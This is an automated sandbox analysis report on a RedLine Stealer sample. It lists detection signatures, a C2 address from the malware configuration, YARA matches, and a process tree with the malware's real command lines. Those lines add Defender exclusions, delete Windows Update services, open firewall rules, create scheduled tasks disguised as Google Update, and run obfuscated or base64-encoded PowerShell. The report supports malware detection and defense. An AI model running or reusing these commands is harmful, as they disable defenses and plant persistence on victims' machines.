Edit tour

Windows Analysis Report
FKN6uh7y01.exe

Overview

General Information

Sample Name:	FKN6uh7y01.exe
Analysis ID:	753226
MD5:	3923f1a139494556ee41dde9b70acc67
SHA1:	19a3cf53a31c4f37c24c771264504e66d1be1193
SHA256:	dc0d7e5dcd6f5cc175ab3d6173220fb483570c8b1b81cc2ab68c95407368240e
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Sigma detected: Stop multiple services

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Uses netsh to modify the Windows network and firewall settings

Uses cmd line tools excessively to alter registry or file data

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Encrypted powershell cmdline option found

Allocates memory in foreign processes

Creates files in the system32 config directory

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Tries to detect virtualization through RDTSC time measurements

Adds a directory exclusion to Windows Defender

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Uses powercfg.exe to modify the power settings

Sample uses process hollowing technique

Modifies power options to not sleep / hibernate

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Found hidden mapped module (file has been removed from disk)

Obfuscated command line found

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Modifies the windows firewall

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Sleep loop found (likely to delay execution)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Uses reg.exe to modify the Windows registry

PE file contains more sections than normal

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Stores large binary data to the registry

Found potential string decryption / allocating functions

Creates job files (autostart)

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

FKN6uh7y01.exe (PID: 6040 cmdline: C:\Users\user\Desktop\FKN6uh7y01.exe MD5: 3923F1A139494556EE41DDE9B70ACC67)

conhost.exe (PID: 6052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vbc.exe (PID: 46372 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

brave.exe (PID: 46932 cmdline: "C:\Users\user\AppData\Local\Google\brave.exe" MD5: 9253ED091D81E076A3037E12AF3DC871)

powershell.exe (PID: 46948 cmdline: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 46960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5656 cmdline: cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 4844 cmdline: sc stop UsoSvc MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 2468 cmdline: sc stop WaaSMedicSvc MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 6188 cmdline: sc stop wuauserv MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 6232 cmdline: sc stop bits MD5: D79784553A9410D15E04766AAAB77CD6)

sc.exe (PID: 6260 cmdline: sc stop dosvc MD5: D79784553A9410D15E04766AAAB77CD6)

reg.exe (PID: 6320 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6348 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6372 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6440 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f MD5: E3DACF0B31841FA02064B4457D44B357)

reg.exe (PID: 6696 cmdline: reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 46664 cmdline: cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 46640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powercfg.exe (PID: 5220 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 6000 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 6148 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 6200 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powershell.exe (PID: 46484 cmdline: powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' } MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

dialer.exe (PID: 6828 cmdline: C:\Windows\system32\dialer.exe MD5: 0EC74656A7F7667DD94C76081B111827)

powershell.exe (PID: 6940 cmdline: powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" } MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 7316 cmdline: "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

ofg.exe (PID: 46968 cmdline: "C:\Users\user\AppData\Local\Google\ofg.exe" MD5: 33DAD992607D0FFD44D2C81FE67F8FB1)

schtasks.exe (PID: 47012 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 47032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 5952 cmdline: "C:\Users\user\AppData\Local\Google\chrome.exe" MD5: 8CD1EA50F8F4C45055400E70DA52B326)

powershell.exe (PID: 4984 cmdline: powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 1256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 46472 cmdline: powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA= MD5: DBA3E6449E97D4E3DF64527EF7012A10)

schtasks.exe (PID: 2440 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 1316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 4804 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 3208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

GoogleUpdate.exe (PID: 4764 cmdline: C:\Windows\GoogleUpdate.exe MD5: 9A66A3DE2589F7108426AF37AB7F6B41)

netsh.exe (PID: 6384 cmdline: netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 6424 cmdline: netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 6468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 6476 cmdline: netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 6616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WerFault.exe (PID: 46472 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6040 -s 41188 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

conhost.exe (PID: 4768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ofg.exe (PID: 5104 cmdline: C:\Users\user\AppData\Local\Google\ofg.exe MD5: 33DAD992607D0FFD44D2C81FE67F8FB1)

schtasks.exe (PID: 3156 cmdline: SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 6020 cmdline: C:\Users\user\AppData\Local\Google\chrome.exe MD5: 8CD1EA50F8F4C45055400E70DA52B326)

chrome.exe (PID: 6416 cmdline: C:\Users\user\AppData\Local\Google\chrome.exe MD5: 8CD1EA50F8F4C45055400E70DA52B326)

powershell.exe (PID: 7024 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})" MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 7052 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})" MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 7068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

updater.exe (PID: 7500 cmdline: C:\Program Files\Google\Chrome\updater.exe MD5: EB27BB8CFA99D659E4FE023E9002ECD1)

powershell.exe (PID: 7876 cmdline: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["37.220.87.2:27924"], "Authorization Header": "c730762e00ec2290f332f51330ecd40b"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Google\ofg.exe	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute

Memory Dumps

Source	Rule	Description	Author	Strings
00000041.00000002.599121882.000002B7FCC50000.00000040.00000400.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.308285723.00000000006F2000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.316020105.0000000000428000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000041.00000002.601583178.000002B7FCF50000.00000040.00001000.00020000.00000000.sdmp	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x44d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
00000000.00000000.319091656.0000000000428000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: FKN6uh7y01.exe PID: 6040	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 46372	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 46372	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.0.ofg.exe.ec0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
65.2.updater.exe.2b7fcf50000.1.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
0.2.FKN6uh7y01.exe.427788.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.ofg.exe.ec0000.1.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
0.2.FKN6uh7y01.exe.427788.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x174b5:$v2_1: ListOfProcesses 0x17249:$v4_3: base64str 0x182b8:$v4_4: stringKey 0x14e90:$v4_5: BytesToStringConverted 0x13ef8:$v4_6: FromBase64 0x15658:$v4_8: procName 0x159db:$v5_1: DownloadAndExecuteUpdate 0x17159:$v5_2: ITaskProcessor 0x159c9:$v5_3: CommandLineUpdate 0x159ba:$v5_4: DownloadUpdate 0x1605c:$v5_5: FileScanning 0x151ff:$v5_7: RecordHeaderField 0x14c1e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
9.2.ofg.exe.ec0000.2.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM	Detects executables embedding command execution via IExecuteCommand COM object	ditekSHen	0x122c9:$r1: Classes\Folder\shell\open\command 0x122ec:$k1: DelegateExecute
65.2.updater.exe.2b7fcc50000.0.raw.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x38d7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
65.2.updater.exe.2b7fcc50000.0.unpack	Windows_Rootkit_R77_5bab748b	unknown	unknown	0x2cd7:$a: 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8
13.2.chrome.exe.1624918.1.unpack	SUSP_Unsigned_GoogleUpdate	Detects suspicious unsigned GoogleUpdate.exe	Florian Roth	0x13ec5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x141d5:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x144b1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x147a1:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x14a91:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x14d95:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15081:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15379:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15679:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15961:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15c49:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x15f31:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16235:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16541:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x1683d:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16b39:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x16e29:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17135:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17425:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17705:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ... 0x17a11:$ac1: 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78 ...
0.3.FKN6uh7y01.exe.6f0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
